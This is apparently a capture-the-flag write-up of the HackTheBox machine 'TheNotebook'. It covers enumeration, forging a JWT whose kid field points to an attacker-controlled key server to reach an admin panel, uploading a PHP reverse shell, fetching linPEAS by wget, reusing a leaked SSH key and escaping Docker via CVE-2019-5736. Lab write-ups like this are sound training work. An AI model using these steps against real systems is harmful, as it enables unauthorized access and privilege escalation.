Vulnerabilities/ bad configurations exploited:
- Persistant Java Web Token (JWT) stored in cookie
- Breaking out of Docker via runC (CVE-2019-5736)
Enumerating Network
I started with a basic scan of all common ports and services on the machine.
sudo nmap -sC -sV -oA nmap/thenotebook 10.10.10.230 -vv
-sC : Load default scripts
-sV : Determine service/version info from open ports
-oA : Output in all formats
-vv : Increased verbosity
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZwjrB05nGUvacI81YxNqy+6WpPHhIju6c73aoiru9nW/aVhTmOEsSOGoChEXeQeDN67ZN5QW4LFf0tXeQeJqvgO82HtFkUOiN8tt1RpI98SV+hx8scCzpmtAyu1OJSUM3/cL2tEPTcPHAgHTmroWiXxIMPhTFLIoDVBIqmBrORUIwgjIzFUbEDQJXKPkFciofbowVOkHnT+lv5XokU6571wrX/LRJvTNBEAvbbz0HAfvUkne8ycQsW08qk/BugiLnJHLg24YryGdHl5RqqW/42fsUADngFLncy2+/XCo8Pe/erO+7Zw6r4n1qVb0W0BZ+lRflcRss3diM/21R6O0z
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLeuBF/ZBUM0ZBYW4+vgQMhIPWVs2fzv9lmQHoflWFNMP/sFWZDeVneJE0CRSLnYi2y/wwc079bIsQRibay3Fpg=
| 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDg0mzA1xTe9hivlJN4s+7eXaiyIYefpyykHIir3btEA
80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Results show that ports 22, 80 and 10010
are open. I attempted to scan all other ports with sudo nmap -sC -sV -p- -oA nmap/thenotebook_allports 10.10.10.230
, but no avail.
I proceeded to take a look at what was on port 80
.
Discover Hidden Directories
Right before I moved onto the Web Application, I fired up gobuster, to keep some form of enumeration running in the background.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.10.230
dir : Directory mode
-w : Wordlist
-u : URL
Enumerating Web Application (WebApp)
It was a simple web application that allowed registered users to keep notes and view them on demand.
Fuzzing notes
After playing around with the WebApp, I noticed that the notes I added across multiple users on the WebApp seemed to run in sequence, which I determined it to be a running index of the notes, across the WebApp.
I created a simple script to print a range of numbers to prepare fuzzing.
#!/bin/bash
for i in {1..100};
do
echo "$i"
done
I ran the script and saved the output to numberlist
.
I tried fuzzing to discover notes I might be able to access, however, I was not able to view notes of other users, unless I knew their Universally Unique Identifier (UUID).
ffuf -w numberlist -u http://10.10.10.230/dce4531a-b606-493a-a6f5-05558d204a0f/notes/FUZZ -mc 200
-w : Wordlist
-u : URL
FUZZ : Wildcard
-mc : Match response code
Checking gobuster results
My gobuster execution completed and there was one hidden directory, /admin
. I navigated to /admin
, but was not able to access it.
Persistant Java Web Token (JWT) stored in cookie
Read more: https://jwt.io/introduction
Knowing that there was an admin folder, I tried logging in with admin
using common default credentials, and expectedly, it did not work.
I opened FireFox developer tools and looked at the Cookies storage and saw 2 objects stored in the cookie.
- A very long encoded string. Which seemed like base-64.
- My current logged in user's UUID.
I wanted to see if there were any changes to the cookie when logged in as other users and noticed that the auth
value did not change like the uuid
value. After some research, I found out that the auth
value was actually a Java Web Token (JWT), and storing a persistent JWT is considered bad security practice.
I used an online decoder, jwt.io
and analysed what was in the token.
A few interesting observations:
Key ID
, orkid
field was present, and it was pointing to a local address.admin_cap
in the payload seems to indicate whether the user has admin privileges or not.
Despite having these information, I was stuck here for quite awhile, researching on what can I do with this at hand. I took reference to one of HackTheBox's most revered individual, IppSec's videos on JWT exploitation, and tried to modify the kid
and payload
values to get admin access on the WebApp.
Generating a custom JWT
Steps to generate a custom JWT:
- Install
PyJWT
, if required.
pip3 install PyJWT
2. Create RSA private key.
Note: Using key generated from bash ssh-keygen -t rsa
will cause a serialization error when using jwt.encode().
openssl genrsa -out jwt-key 4096
3. Modify kid
value from local address to my own HTTP server.
{"kid":"http://10.10.14.61/privKey.key"}
4. Modify payload
field to a user I registered in the WebApp.
{"username":"user","email":"user2@user","admin_cap":1}
5. Encode all input using jwt.encode()
and print.
#!/usr/bin/python3
import jwt
priv_key = '''
-----BEGIN RSA PRIVATE KEY-----
MIIJKgIBAAKCAgEAz/zQj+D8hqc9/Vc56WLzJHwT+m7ax5ZYG3Vqy1yiDMbF8pZU
...truncated...
ALXKWi/X/nYe7WHRtr+uaI6D+6t8oJppR6uA8mZXPlxrNZnVfNZQQ3vpTRPCZw==
-----END RSA PRIVATE KEY-----
'''
payload = {"username":"user","email":"user2@user","admin_cap":1}
token = jwt.encode(payload,priv_key,algorithm="RS256",headers={"kid":"http://10.10.14.61/privKey.key"})
print(token)
I saved the token generating script and ran it. A successfully generated token should look like this.
Accessing /admin folder
With the token I generated, I replaced the auth
value while logged as as user
and attempted to access http://10.10.10.230/admin
.
I started a simple HTTP server using python, and tried to access the ```/admin``` page, but I did not succeed immediately as I forgot to change my private key filename from ```jwt-key``` to ```privKey.key``` (or whatever filename you defined in the token generator script as the key file).
After logging in as ```admin```, there was an Admin Panel
, which consisted 2 functions, View Notes
and Upload File
. First in View Notes
, I could see all notes stored in the WebApp.
2 notes written by admin
piqued my curiosity,
- Need to fix config.
- Backups are scheduled.
From the first note, it gave me a clue that the WebApp executes PHP files unintentionally. With the Upload File
function, we could potentially get our first shell. On the second note, it hinted that there might be some sort of scheduled backup going on in the backend.
Initial Access
I modified the ```php-reverse-shell.php``` script to point to my IP and to port ```8001```, and set up my listener and used the Upload File
function to upload a PHP reverse shell script. After clicking View
, I got my first shell. The filename that appeared after uploading my shell was just an MD5 sum of the shell.
Next, I upgraded my shell to an interactive version.
> python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
> stty raw -echo && fg
Press Enter twice
> TERM=xterm
Lateral Movement
I used my simple HTTP server and transferred to and ran linPEAS.sh
on the target machine.
[On my machine]
sudo python3 -m http.server 80
[On target machine]
cd /tmp
wget http://10.10.10.230/linPEAS.sh
chmod +x linPEAS.sh
./linPEAS.sh
I did not see anything exploitable right off the bat, and I remembered the note that wrote about scheduled backups. I looked into the linPEAS
backup folder results and found an interesting file named, -rw-r--r-- 1 root root 4373 Feb 17 09:02 /var/backups/home.tar.gz
I extracted the folder and searched within, and there was a RSA private key
kept inside which was accessible to me.
tar -xf home.tar.gz
ls -lahR home
Realizing that I had the private key to Noah's account, I SSH'ed as Noah, using the key I'd gotten.
chmod 400 noahkey
ssh noah@10.10.10.230 -i noahkey
And there is the User Flag.
Privilege Escalation
Read more: https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/
I checked if Noah had any sudo
rights and saw that he could run this command as sudo:
User noah may run the following commands on thenotebook:
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
I did a quick search on Google and came across CVE-2019-5736, which was a vulnerability in docker's runC. There were multiple PoCs available on GitHub, and I chose the one that was written in Go.
I changed the payload to add sticky bit to bash and went to build the script to a binary. I accessed the docker container, uploaded the exploit and ran it.
I SSH'ed into Noah on another window and triggered the exploit by spawning ```/bin/sh``` using ```sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh```.
And I got root.
Afternote
Rated Medium, it was around a 'high' Medium difficulty for me as I was not experienced in exploiting JWT and escaping docker using this CVE. Until now, I still can't wrap my head around what this vulnerability is, and I would be spending sometime understanding it. Overall, I enjoyed this box a lot for its complexity and being able to build upon my knowledge in enumeration and pentesting.